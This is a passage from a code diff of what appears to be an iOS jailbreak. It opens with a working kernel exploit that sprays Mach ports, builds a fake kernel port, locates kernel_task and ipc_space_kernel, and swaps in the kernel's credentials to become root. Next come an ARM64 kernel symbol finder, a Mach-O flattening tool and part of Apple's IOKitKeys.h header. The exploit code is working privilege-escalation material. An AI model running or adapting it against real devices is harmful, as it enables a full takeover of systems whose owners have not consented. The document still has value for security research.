LOG("Preparing data...");
|
||||||
|
OUT(prepare_ptr(dict_big, &size_big, kptr, 200));
|
||||||
|
OUT(prepare_ptr(dict_small, &size_small, kptr, 32));
|
||||||
|
kport.ip_kobject = (uintptr_t)&ktask;
|
||||||
|
|
||||||
|
again:;
|
||||||
|
LOG("Filling holes...");
|
||||||
|
sched_yield();
|
||||||
|
mach_port_t fill[NUM_FILL];
|
||||||
|
for(size_t i = 0; i < NUM_FILL; ++i)
|
||||||
|
{
|
||||||
|
OUT(spray(dict_big, size_big, &fill[i]));
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("Spraying data...");
|
||||||
|
sched_yield();
|
||||||
|
mach_port_t small[NUM_SPRAY];
|
||||||
|
for(size_t i = 0; i < NUM_SPRAY; ++i)
|
||||||
|
{
|
||||||
|
OUT(send_ports(port, port, 2));
|
||||||
|
OUT(spray(dict_small, size_small, &small[i]));
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("Punching holes...");
|
||||||
|
sched_yield();
|
||||||
|
for(size_t i = 0; i < NUM_SPRAY; ++i)
|
||||||
|
{
|
||||||
|
OUT(receive_ports(port, NULL));
|
||||||
|
}
|
||||||
|
|
||||||
|
mach_port_t arr[2] = { MACH_PORT_NULL, MACH_PORT_NULL };
|
||||||
|
OUT(r3gister(self, arr, 2, 3));
|
||||||
|
|
||||||
|
mach_port_t *arrz = NULL;
|
||||||
|
mach_msg_type_number_t sz = 3;
|
||||||
|
mach_ports_lookup(self, &arrz, &sz);
|
||||||
|
LOG("ports %x %x %x\n", arrz[0], arrz[1], arrz[2]);
|
||||||
|
|
||||||
|
fake_port = arrz[2];
|
||||||
|
if(!MACH_PORT_VALID(fake_port))
|
||||||
|
{
|
||||||
|
LOG("Exploit failed, retrying...");
|
||||||
|
// TODO: fix ports leak
|
||||||
|
goto again;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("Determining kernel base...");
|
||||||
|
kernel_base = (anchor & 0xfffffffffff00000) + 0x4000;
|
||||||
|
for(uint32_t val = 0; 1; kernel_base -= 0x100000)
|
||||||
|
{
|
||||||
|
KREAD(kernel_base, &val, sizeof(val));
|
||||||
|
if(val == MH_MAGIC_64)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LOG("Kernel base: 0x%lx", kernel_base);
|
||||||
|
|
||||||
|
KREAD(kernel_base, hdr, MAX_HEADER_SIZE);
|
||||||
|
CMD_ITERATE(hdr, cmd)
|
||||||
|
{
|
||||||
|
switch(cmd->cmd)
|
||||||
|
{
|
||||||
|
case MACH_LC_SEGMENT:
|
||||||
|
{
|
||||||
|
mach_seg_t *seg = (mach_seg_t*)cmd;
|
||||||
|
if(strcmp(seg->segname, "__TEXT") == 0)
|
||||||
|
{
|
||||||
|
__text.addr = seg->vmaddr;
|
||||||
|
__text.len = seg->vmsize;
|
||||||
|
__text.buf = malloc(seg->vmsize);
|
||||||
|
LOG("Found __TEXT segment at %lx", __text.addr);
|
||||||
|
KREAD(__text.addr, __text.buf, __text.len);
|
||||||
|
goto found;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if(__text.buf == NULL)
|
||||||
|
{
|
||||||
|
LOG("Failed to find __TEXT segment");
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
found:;
|
||||||
|
uintptr_t kernel_task_sym = find_kernel_task(&__text),
|
||||||
|
ipc_space_kernel_sym = find_ipc_space_kernel(&__text);
|
||||||
|
if(!kernel_task_sym || !ipc_space_kernel_sym)
|
||||||
|
{
|
||||||
|
LOG("Failed to find kernel symbols");
|
||||||
|
goto out;
|
||||||
|
}
|
||||||
|
|
||||||
|
uintptr_t kernel_task_addr = 0;
|
||||||
|
KREAD(kernel_task_sym, &kernel_task_addr, sizeof(kernel_task_addr));
|
||||||
|
LOG("kernel_task address: 0x%lx", kernel_task_addr);
|
||||||
|
|
||||||
|
uintptr_t ipc_space_kernel_addr = 0;
|
||||||
|
KREAD(ipc_space_kernel_sym, &ipc_space_kernel_addr, sizeof(ipc_space_kernel_addr));
|
||||||
|
LOG("ipc_space_kernel address: 0x%lx", ipc_space_kernel_addr);
|
||||||
|
|
||||||
|
kport.ip_receiver = ipc_space_kernel_addr;
|
||||||
|
kport.ip_kobject = kernel_task_addr;
|
||||||
|
|
||||||
|
LOG("Getting real kernel_task...");
|
||||||
|
OUT(task_get_special_port(fake_port, 1, &kernel_task));
|
||||||
|
release_ports(&fake_port, 1); // need to release before return, port is allocated on the stack
|
||||||
|
|
||||||
|
LOG("Getting root...");
|
||||||
|
OUT(r3gister(kernel_task, &self, 1, 1));
|
||||||
|
uintptr_t self_port_addr = 0;
|
||||||
|
vm_size_t size = sizeof(self_port_addr);
|
||||||
|
OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, size, (vm_address_t)&self_port_addr, &size));
|
||||||
|
LOG("self port address: 0x%lx", self_port_addr);
|
||||||
|
OUT(r3gister(kernel_task, NULL, 0, 0));
|
||||||
|
|
||||||
|
uintptr_t self_task_addr = 0;
|
||||||
|
size = sizeof(self_task_addr);
|
||||||
|
OUT(vm_read_overwrite(kernel_task, self_port_addr + ((uintptr_t)&kport.ip_kobject - (uintptr_t)&kport), size, (vm_address_t)&self_task_addr, &size));
|
||||||
|
LOG("self task address: 0x%lx", self_task_addr);
|
||||||
|
|
||||||
|
uintptr_t self_proc_addr = 0;
|
||||||
|
size = sizeof(self_proc_addr);
|
||||||
|
OUT(vm_read_overwrite(kernel_task, self_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&self_proc_addr, &size));
|
||||||
|
LOG("self proc address: 0x%lx", self_proc_addr);
|
||||||
|
|
||||||
|
// We're borrowing the kernel's creds here
|
||||||
|
uintptr_t kern_proc_addr = 0;
|
||||||
|
size = sizeof(kern_proc_addr);
|
||||||
|
OUT(vm_read_overwrite(kernel_task, kernel_task_addr + TASK_BSDINFO_OFFSET, size, (vm_address_t)&kern_proc_addr, &size));
|
||||||
|
LOG("kern_proc address: 0x%lx", kern_proc_addr);
|
||||||
|
|
||||||
|
uintptr_t kern_kauth_cred_addr = 0;
|
||||||
|
size = sizeof(kern_kauth_cred_addr);
|
||||||
|
OUT(vm_read_overwrite(kernel_task, kern_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, size, (vm_address_t)&kern_kauth_cred_addr, &size));
|
||||||
|
LOG("kern kauth cred address: 0x%lx", kern_kauth_cred_addr);
|
||||||
|
|
||||||
|
// Ref count
|
||||||
|
unsigned long refs = 0;
|
||||||
|
size = sizeof(refs);
|
||||||
|
OUT(vm_read_overwrite(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, size, (vm_address_t)&refs, &size));
|
||||||
|
++refs;
|
||||||
|
size = sizeof(refs);
|
||||||
|
OUT(vm_write(kernel_task, kern_kauth_cred_addr + KAUTH_CRED_REF_COUNT, (vm_offset_t)&refs, sizeof(refs)));
|
||||||
|
|
||||||
|
// Yeehaa
|
||||||
|
OUT(vm_write(kernel_task, self_proc_addr + BSDINFO_KAUTH_CRED_OFFSET, (vm_offset_t)&kern_kauth_cred_addr, sizeof(kern_kauth_cred_addr)));
|
||||||
|
|
||||||
|
setuid(0); // update host port, security token and whatnot
|
||||||
|
LOG("uid: %u", getuid());
|
||||||
|
|
||||||
|
LOG("Cleaning up...");
|
||||||
|
OUT(r3gister(self, arr, 2, 2));
|
||||||
|
if(need_cleanup)
|
||||||
|
{
|
||||||
|
while(1)
|
||||||
|
{
|
||||||
|
mach_port_t *dangling_port = NULL;
|
||||||
|
ret = receive_ports(cleanup_port, &dangling_port);
|
||||||
|
if(ret != KERN_SUCCESS)
|
||||||
|
{
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("Unregistering port %x...", *dangling_port);
|
||||||
|
OUT(r3gister(kernel_task, dangling_port, 1, 1));
|
||||||
|
uintptr_t zero = 0;
|
||||||
|
OUT(vm_write(kernel_task, kernel_task_addr + TASK_ITK_REGISTERED_OFFSET, (vm_offset_t)&zero, sizeof(zero)));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
out:;
|
||||||
|
if(MACH_PORT_VALID(fake_port) && __text.buf == NULL)
|
||||||
|
{
|
||||||
|
// If we got here but got an actual port and do not yet have a leaked __text segment, that means the pointer we read was the wrong one.
|
||||||
|
// We want to try again, but we need to retain the wrong port because mach_ports_register releases it, which means if we do nothing
|
||||||
|
// and our process dies, the ports cleanup would cause a kernel panic.
|
||||||
|
// To prevent that, we send it to the cleanup port (thereby increasing the ref count) so that later when we have kernel memory access,
|
||||||
|
// we can register the port on the kernel task and then zero out the pointer (without decreasing the ref count).
|
||||||
|
ret = send_ports(cleanup_port, fake_port, 1);
|
||||||
|
if(ret == KERN_SUCCESS)
|
||||||
|
{
|
||||||
|
fake_port = MACH_PORT_NULL;
|
||||||
|
need_cleanup = true;
|
||||||
|
LOG("Exploit failed, retrying...");
|
||||||
|
// TODO: fix ports leak
|
||||||
|
goto again;
|
||||||
|
}
|
||||||
|
printf("send_ports(): %s\n", mach_error_string(ret));
|
||||||
|
}
|
||||||
|
release_ports(small, NUM_SPRAY);
|
||||||
|
release_ports(fill, NUM_FILL);
|
||||||
|
if(dict_big)
|
||||||
|
{
|
||||||
|
free(dict_big);
|
||||||
|
}
|
||||||
|
if(dict_small)
|
||||||
|
{
|
||||||
|
free(dict_small);
|
||||||
|
}
|
||||||
|
if(hdr)
|
||||||
|
{
|
||||||
|
free(hdr);
|
||||||
|
}
|
||||||
|
if(__text.buf != NULL)
|
||||||
|
{
|
||||||
|
free(__text.buf);
|
||||||
|
}
|
||||||
|
*kbase = kernel_base;
|
||||||
|
return kernel_task;
|
||||||
|
}
|
|
@ -0,0 +1,19 @@
|
||||||
|
/*
|
||||||
|
* find.h - Minimal offsets finder
|
||||||
|
* Taken and modified from cl0ver
|
||||||
|
*
|
||||||
|
* Copyright (c) 2016-2017 Siguza
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef FIND_H
|
||||||
|
#define FIND_H
|
||||||
|
|
||||||
|
#include <mach/mach.h>
|
||||||
|
|
||||||
|
#include "nvpatch.h"
|
||||||
|
|
||||||
|
vm_address_t find_kernel_task(segment_t *text);
|
||||||
|
|
||||||
|
vm_address_t find_ipc_space_kernel(segment_t *text);
|
||||||
|
|
||||||
|
#endif
|
|
@ -0,0 +1,221 @@
|
||||||
|
/*
|
||||||
|
* find.m - Minimal offsets finder
|
||||||
|
* Taken and modified from cl0ver
|
||||||
|
*
|
||||||
|
* Copyright (c) 2016-2017 Siguza
|
||||||
|
*/
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <string.h> // strlen, strerror, memcmp
|
||||||
|
#include <mach/mach.h>
|
||||||
|
|
||||||
|
#include "arch.h"
|
||||||
|
#include "nvpatch.h"
|
||||||
|
#include "find.h"
|
||||||
|
|
||||||
|
// imm = register plus immediate, lit = PC-relative literal
|
||||||
|
|
||||||
|
#define IS_RET(instr) ((instr) == 0xd65f03c0)
|
||||||
|
#define IS_BL(instr) (((instr) & 0xfc000000) == 0x94000000)
|
||||||
|
#define LDR_IMM(instr) (((instr) >> 7) & 0x7ff8)
|
||||||
|
// for all *_LIT: 26-bit sign extend and multiply by 4
|
||||||
|
#define LDR_LIT(instr) ((((int64_t)(instr) & 0xffffe0) << 40) >> 43)
|
||||||
|
#define ADR_LIT(instr) (((((int64_t)(instr) & 0xffffe0) << 40) >> 43) | (((instr) >> 29) & 3))
|
||||||
|
#define ADRP_LIT(instr) (ADR_LIT(instr) << 12)
|
||||||
|
#define ADD_LIT(instr) (((instr) & 0x3ffc00) >> 10)
|
||||||
|
|
||||||
|
static segment_t* ptr_segment(segment_t *segs, size_t numsegs, void *ptr)
|
||||||
|
{
|
||||||
|
for(size_t i = 0; i < numsegs; ++i)
|
||||||
|
{
|
||||||
|
if((char*)segs[i].buf <= (char*)ptr && &((char*)segs[i].buf)[segs[i].len] > (char*)ptr)
|
||||||
|
{
|
||||||
|
return &segs[i];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LOG("pointer out of range: " ADDR, (vm_address_t)ptr);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
static vm_address_t ptr_to_vmem(segment_t *segs, size_t numsegs, void *ptr)
|
||||||
|
{
|
||||||
|
segment_t *seg = ptr_segment(segs, numsegs, ptr);
|
||||||
|
if(!seg)
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return seg->addr + ((char*)ptr - (char*)seg->buf);
|
||||||
|
}
|
||||||
|
|
||||||
|
static vm_address_t vmem_find_bytes(segment_t *segs, size_t numsegs, void *search, size_t len, size_t granularity, char *name)
|
||||||
|
{
|
||||||
|
for(size_t i = 0; i < numsegs; ++i)
|
||||||
|
{
|
||||||
|
for(size_t off = 0; off <= segs[i].len - len; off += granularity)
|
||||||
|
{
|
||||||
|
if(memcmp(&((char*)segs[i].buf)[off], search, len) == 0)
|
||||||
|
{
|
||||||
|
return segs[i].addr + off;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LOG("Failed to vmem_find_bytes: %s", name);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
static vm_address_t vmem_find_str(segment_t *segs, size_t numsegs, char *str)
|
||||||
|
{
|
||||||
|
return vmem_find_bytes(segs, numsegs, str, strlen(str) + 1, 1, str);
|
||||||
|
}
|
||||||
|
|
||||||
|
vm_address_t find_kernel_task(segment_t *text)
|
||||||
|
{
|
||||||
|
LOG("Looking for kernel_task...");
|
||||||
|
|
||||||
|
vm_address_t panic_info = vmem_find_str(text, 1, "aapl,panic-info");
|
||||||
|
LOG("\"aapl,panic-info\" at " ADDR "...", panic_info);
|
||||||
|
if(panic_info)
|
||||||
|
{
|
||||||
|
for(uint32_t *ptr = (uint32_t*)text->buf, *end = (uint32_t*)&((char*)ptr)[text->len]; ptr < end; ++ptr)
|
||||||
|
{
|
||||||
|
if((*ptr & 0x9f000000) == 0x10000000) // adr
|
||||||
|
{
|
||||||
|
vm_address_t pc = ptr_to_vmem(text, 1, ptr);
|
||||||
|
if(pc)
|
||||||
|
{
|
||||||
|
if(pc + ADR_LIT(*ptr) == panic_info) // adr Xn, "aapl,panic-info"
|
||||||
|
{
|
||||||
|
LOG("Found reference to \"aapl,panic-info\" at " ADDR, pc);
|
||||||
|
for(uint32_t *p = ptr - 1; p >= (uint32_t*)text->buf; --p)
|
||||||
|
{
|
||||||
|
if((*p & 0xffffffe0) == 0xd538d080) // mrs Xn, tpidr_el1
|
||||||
|
{
|
||||||
|
LOG("Last reference to tpidr_el1 before that is at " ADDR, ptr_to_vmem(text, 1, p));
|
||||||
|
|
||||||
|
size_t num_ldrs = 0;
|
||||||
|
uint32_t *last = NULL;
|
||||||
|
for(++p; p < ptr; ++p)
|
||||||
|
{
|
||||||
|
if((*p & 0xff000000) == 0x58000000) // ldr with PC-relative offset
|
||||||
|
{
|
||||||
|
last = p;
|
||||||
|
++num_ldrs;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(num_ldrs == 1)
|
||||||
|
{
|
||||||
|
pc = ptr_to_vmem(text, 1, last);
|
||||||
|
if(pc)
|
||||||
|
{
|
||||||
|
vm_address_t ret = pc + LDR_LIT(*last);
|
||||||
|
LOG("Found kernel_task symbol at " ADDR, ret);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
LOG("Number of PC-relative ldr's between tpidr_el1 and panic-ref is != 1");
|
||||||
|
}
|
||||||
|
goto next; // "break" would trigger the message below
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LOG("But found no reference to tpidr_el1 before that, looking for next reference to \"aapl,panic-info\"...");
|
||||||
|
next:;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("Failed to find kernel_task");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
vm_address_t find_ipc_space_kernel(segment_t *text)
|
||||||
|
{
|
||||||
|
LOG("Looking for ipc_space_kernel...");
|
||||||
|
|
||||||
|
vm_address_t str = vmem_find_str(text, 1, "\"failed to create resume port\"");
|
||||||
|
LOG("\"\"failed to create resume port\"\" at " ADDR "...", str);
|
||||||
|
if(str)
|
||||||
|
{
|
||||||
|
// find either convert_task_suspension_token_to_port or task_suspend
|
||||||
|
for(uint32_t *ptr = (uint32_t*)text->buf, *end = (uint32_t*)&((char*)ptr)[text->len]; ptr < end; ++ptr)
|
||||||
|
{
|
||||||
|
if
|
||||||
|
(
|
||||||
|
(ptr[0] & 0x9f000000) == 0x90000000 && // adrp
|
||||||
|
(ptr[1] & 0xffc00000) == 0x91000000 // add with unshifted immediate
|
||||||
|
)
|
||||||
|
{
|
||||||
|
vm_address_t pc = ptr_to_vmem(text, 1, ptr);
|
||||||
|
if(pc)
|
||||||
|
{
|
||||||
|
if((pc & 0xfffffffffffff000) + ADRP_LIT(ptr[0]) + ADD_LIT(ptr[1]) == str) // ref to our string
|
||||||
|
{
|
||||||
|
LOG("Found reference to \"\"failed to create resume port\"\" at " ADDR, pc);
|
||||||
|
for(uint32_t *p = ptr - 1, count = 0; p >= (uint32_t*)text->buf; --p)
|
||||||
|
{
|
||||||
|
if(IS_RET(*p))
|
||||||
|
{
|
||||||
|
if(count == 0) // panic() lies after ret;, thus skip 2
|
||||||
|
{
|
||||||
|
++count;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
++p;
|
||||||
|
LOG("Start of function is at " ADDR, ptr_to_vmem(text, 1, p));
|
||||||
|
|
||||||
|
for(count = 0; p < ptr; ++p) // find second bl
|
||||||
|
{
|
||||||
|
if(IS_BL(*p))
|
||||||
|
{
|
||||||
|
if(count == 0)
|
||||||
|
{
|
||||||
|
++count;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
LOG("Second bl is at " ADDR, ptr_to_vmem(text, 1, p));
|
||||||
|
if
|
||||||
|
(
|
||||||
|
(p[-3] & 0x9f000000) == 0x90000000 && // adrp
|
||||||
|
(p[-2] & 0xffc00000) == 0x91000000 && // add with unshifted immediate
|
||||||
|
(p[-1] & 0xffc00000) == 0xf9400000 // ldr with immediate
|
||||||
|
)
|
||||||
|
{
|
||||||
|
pc = ptr_to_vmem(text, 1, p - 3);
|
||||||
|
if(pc)
|
||||||
|
{
|
||||||
|
vm_address_t ret = (pc & 0xfffffffffffff000) + ADRP_LIT(p[-3]) + ADD_LIT(p[-2]) + LDR_IMM(p[-1]);
|
||||||
|
LOG("Found ipc_space_kernel symbol at " ADDR, ret);
|
||||||
|
return ret;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
LOG("Didn't find expected instructions before bl...");
|
||||||
|
}
|
||||||
|
goto next; // "break" would trigger the message below
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("But found no two bl; after that, looking for next reference to \"\"failed to create resume port\"\"...");
|
||||||
|
goto next;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
LOG("But found no two ret; before that, looking for next reference to \"\"failed to create resume port\"\"...");
|
||||||
|
next:;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
LOG("Failed to find ipc_space_kernel");
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,79 @@
|
||||||
|
//
|
||||||
|
// main.m
|
||||||
|
// flatten-macho
|
||||||
|
//
|
||||||
|
// Created by qwertyoruiop on 4/6/17.
|
||||||
|
// Copyright © 2017 qwertyoruiop. All rights reserved.
|
||||||
|
//
|
||||||
|
|
||||||
|
#import <Foundation/Foundation.h>
|
||||||
|
#import <mach-o/loader.h>
|
||||||
|
#import <fcntl.h>
|
||||||
|
#import <unistd.h>
|
||||||
|
#import <sys/stat.h>
|
||||||
|
#import <sys/mman.h>
|
||||||
|
|
||||||
|
int main(int argc, const char * argv[]) {
|
||||||
|
if(argc != 3)
|
||||||
|
{
|
||||||
|
printf("usage: %s <input> <output>\n", argv[0]);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
int fd = open(argv[1], O_RDONLY);
|
||||||
|
int fd_w = open(argv[2], O_RDWR|O_CREAT|O_TRUNC, 0755);
|
||||||
|
|
||||||
|
char header[0x4000];
|
||||||
|
pread(fd, header, 0x4000, 0);
|
||||||
|
|
||||||
|
struct mach_header_64* mh = header;
|
||||||
|
uint64_t min = -1;
|
||||||
|
uint64_t max = 0;
|
||||||
|
struct load_command* lc = mh+1;
|
||||||
|
for (int i = 0; i < mh->ncmds; i++) {
|
||||||
|
if (lc->cmd == LC_SEGMENT_64)
|
||||||
|
{
|
||||||
|
struct segment_command_64* sg = lc;
|
||||||
|
if (strcmp(sg->segname, "__PAGEZERO") != 0) {
|
||||||
|
printf("segment %s\n", sg->segname);
|
||||||
|
if (sg->vmaddr < min) min = sg->vmaddr;
|
||||||
|
if (sg->vmaddr+sg->vmsize > max) max = sg->vmaddr+sg->vmsize;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
lc = (((char*)lc)+lc->cmdsize);
|
||||||
|
}
|
||||||
|
|
||||||
|
printf("found base: %llx, max: %llx\n", min, max);
|
||||||
|
if(lseek(fd_w, max, SEEK_SET) == -1)
|
||||||
|
{
|
||||||
|
printf("seek failed\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
lc = mh+1;
|
||||||
|
for (int i = 0; i < mh->ncmds; i++) {
|
||||||
|
if (lc->cmd == LC_SEGMENT_64)
|
||||||
|
{
|
||||||
|
struct segment_command_64* sg = lc;
|
||||||
|
printf("mapping to %llx %llx %llx\n", sg->vmaddr, sg->fileoff, sg->filesize);
|
||||||
|
|
||||||
|
if (sg->filesize == 0) {
|
||||||
|
lc = (((char*)lc)+lc->cmdsize);
|
||||||
|
continue;
|
||||||
|
} // ignore pagezero
|
||||||
|
char* map = mmap(0, sg->vmsize, PROT_READ, MAP_ANON|MAP_PRIVATE, -1, 0);
|
||||||
|
if(mmap(map, sg->filesize, PROT_READ, MAP_FIXED|MAP_FILE|MAP_PRIVATE,fd,sg->fileoff) == MAP_FAILED)
|
||||||
|
{
|
||||||
|
printf("mmap failed\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
printf("seeking to %llx\n", sg->vmaddr-min);
|
||||||
|
lseek(fd_w, sg->vmaddr-min, SEEK_SET);
|
||||||
|
write(fd_w, map, sg->vmsize);
|
||||||
|
munmap(map, sg->vmsize);
|
||||||
|
}
|
||||||
|
lc = (((char*)lc)+lc->cmdsize);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
|
@ -0,0 +1,169 @@
|
||||||
|
/*
|
||||||
|
* Copyright (c) 1998-2000 Apple Computer, Inc. All rights reserved.
|
||||||
|
*
|
||||||
|
* @APPLE_OSREFERENCE_LICENSE_HEADER_START@
|
||||||
|
*
|
||||||
|
* This file contains Original Code and/or Modifications of Original Code
|
||||||
|
* as defined in and that are subject to the Apple Public Source License
|
||||||
|
* Version 2.0 (the 'License'). You may not use this file except in
|
||||||
|
* compliance with the License. The rights granted to you under the License
|
||||||
|
* may not be used to create, or enable the creation or redistribution of,
|
||||||
|
* unlawful or unlicensed copies of an Apple operating system, or to
|
||||||
|
* circumvent, violate, or enable the circumvention or violation of, any
|
||||||
|
* terms of an Apple operating system software license agreement.
|
||||||
|
*
|
||||||
|
* Please obtain a copy of the License at
|
||||||
|
* http://www.opensource.apple.com/apsl/ and read it before using this file.
|
||||||
|
*
|
||||||
|
* The Original Code and all software distributed under the License are
|
||||||
|
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
|
||||||
|
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
|
||||||
|
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
|
||||||
|
* Please see the License for the specific language governing rights and
|
||||||
|
* limitations under the License.
|
||||||
|
*
|
||||||
|
* @APPLE_OSREFERENCE_LICENSE_HEADER_END@
|
||||||
|
*/
|
||||||
|
/*
|
||||||
|
* Copyright (c) 1999 Apple Computer, Inc. All rights reserved.
|
||||||
|
*
|
||||||
|
* Common symbol definitions for IOKit.
|
||||||
|
*
|
||||||
|
* HISTORY
|
||||||
|
*
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#ifndef _IOKIT_IOKITKEYS_H
|
||||||
|
#define _IOKIT_IOKITKEYS_H
|
||||||
|
|
||||||
|
// properties found in the registry root
|
||||||
|
#define kIOKitBuildVersionKey "IOKitBuildVersion"
|
||||||
|
#define kIOKitDiagnosticsKey "IOKitDiagnostics"
|
||||||
|
// a dictionary keyed by plane name
|
||||||
|
#define kIORegistryPlanesKey "IORegistryPlanes"
|
||||||
|
#define kIOCatalogueKey "IOCatalogue"
|
||||||
|
|
||||||
|
// registry plane names
|
||||||
|
#define kIOServicePlane "IOService"
|
||||||
|
#define kIOPowerPlane "IOPower"
|
||||||
|
#define kIODeviceTreePlane "IODeviceTree"
|
||||||
|
#define kIOAudioPlane "IOAudio"
|
||||||
|
#define kIOFireWirePlane "IOFireWire"
|
||||||
|
#define kIOUSBPlane "IOUSB"
|
||||||
|
|
||||||
|
// registry ID number
|
||||||
|
#define kIORegistryEntryIDKey "IORegistryEntryID"
|
||||||
|
|
||||||
|
// IOService class name
|
||||||
|
#define kIOServiceClass "IOService"
|
||||||
|
|
||||||
|
// IOResources class name
|
||||||
|
#define kIOResourcesClass "IOResources"
|
||||||
|
|
||||||
|
// IOService driver probing property names
|
||||||
|
#define kIOClassKey "IOClass"
|
||||||
|
#define kIOProbeScoreKey "IOProbeScore"
|
||||||
|
#define kIOKitDebugKey "IOKitDebug"
|
||||||
|
|
||||||
|
// IOService matching property names
|
||||||
|
#define kIOProviderClassKey "IOProviderClass"
|
||||||
|
#define kIONameMatchKey "IONameMatch"
|
||||||
|
#define kIOPropertyMatchKey "IOPropertyMatch"
|
||||||
|
#define kIOPathMatchKey "IOPathMatch"
|
||||||
|
#define kIOLocationMatchKey "IOLocationMatch"
|
||||||
|
#define kIOParentMatchKey "IOParentMatch"
|
||||||
|
#define kIOResourceMatchKey "IOResourceMatch"
|
||||||
|
#define kIOMatchedServiceCountKey "IOMatchedServiceCountMatch"
|
||||||
|
|
||||||
|
#define kIONameMatchedKey "IONameMatched"
|
||||||
|
|
||||||
|
#define kIOMatchCategoryKey "IOMatchCategory"
|
||||||
|
#define kIODefaultMatchCategoryKey "IODefaultMatchCategory"
|
||||||
|
|
||||||
|
// IOService default user client class, for loadable user clients
|
||||||
|
#define kIOUserClientClassKey "IOUserClientClass"
|
||||||
|
|
||||||
|
// key to find IOMappers
|
||||||
|
#define kIOMapperIDKey "IOMapperID"
|
||||||
|
|
||||||
|
#define kIOUserClientCrossEndianKey "IOUserClientCrossEndian"
|
||||||
|
#define kIOUserClientCrossEndianCompatibleKey "IOUserClientCrossEndianCompatible"
|
||||||
|
#define kIOUserClientSharedInstanceKey "IOUserClientSharedInstance"
|
||||||
|
// diagnostic string describing the creating task
|
||||||
|
#define kIOUserClientCreatorKey "IOUserClientCreator"
|
||||||
|
|
||||||
|
// IOService notification types
|
||||||
|
#define kIOPublishNotification "IOServicePublish"
|
||||||
|
#define kIOFirstPublishNotification "IOServiceFirstPublish"
|
||||||
|
#define kIOMatchedNotification "IOServiceMatched"
|
||||||
|
#define kIOFirstMatchNotification "IOServiceFirstMatch"
|
||||||
|
#define kIOTerminatedNotification "IOServiceTerminate"
|
||||||
|
|
||||||
|
// IOService interest notification types
|
||||||
|
#define kIOGeneralInterest "IOGeneralInterest"
|
||||||
|
#define kIOBusyInterest "IOBusyInterest"
|
||||||
|
#define kIOAppPowerStateInterest "IOAppPowerStateInterest"
|
||||||
|
#define kIOPriorityPowerStateInterest "IOPriorityPowerStateInterest"
|
||||||
|
|
||||||
|
#define kIOPlatformDeviceMessageKey "IOPlatformDeviceMessage"
|
||||||
|
|
||||||
|
// IOService interest notification types
|
||||||
|
#define kIOCFPlugInTypesKey "IOCFPlugInTypes"
|
||||||
|
|
||||||
|
// properties found in services that implement command pooling
|
||||||
|
#define kIOCommandPoolSizeKey "IOCommandPoolSize" // (OSNumber)
|
||||||
|
|
||||||
|
// properties found in services that implement priority
|
||||||
|
#define kIOMaximumPriorityCountKey "IOMaximumPriorityCount" // (OSNumber)
|
||||||
|
|
||||||
|
// properties found in services that have transfer constraints
|
||||||
|
#define kIOMaximumBlockCountReadKey "IOMaximumBlockCountRead" // (OSNumber)
|
||||||
|
#define kIOMaximumBlockCountWriteKey "IOMaximumBlockCountWrite" // (OSNumber)
|
||||||
|
#define kIOMaximumByteCountReadKey "IOMaximumByteCountRead" // (OSNumber)
|
||||||
|
#define kIOMaximumByteCountWriteKey "IOMaximumByteCountWrite" // (OSNumber)
|
||||||
|
#define kIOMaximumSegmentCountReadKey "IOMaximumSegmentCountRead" // (OSNumber)
|
||||||
|
#define kIOMaximumSegmentCountWriteKey "IOMaximumSegmentCountWrite" // (OSNumber)
|
||||||
|
#define kIOMaximumSegmentByteCountReadKey "IOMaximumSegmentByteCountRead" // (OSNumber)
|
||||||
|
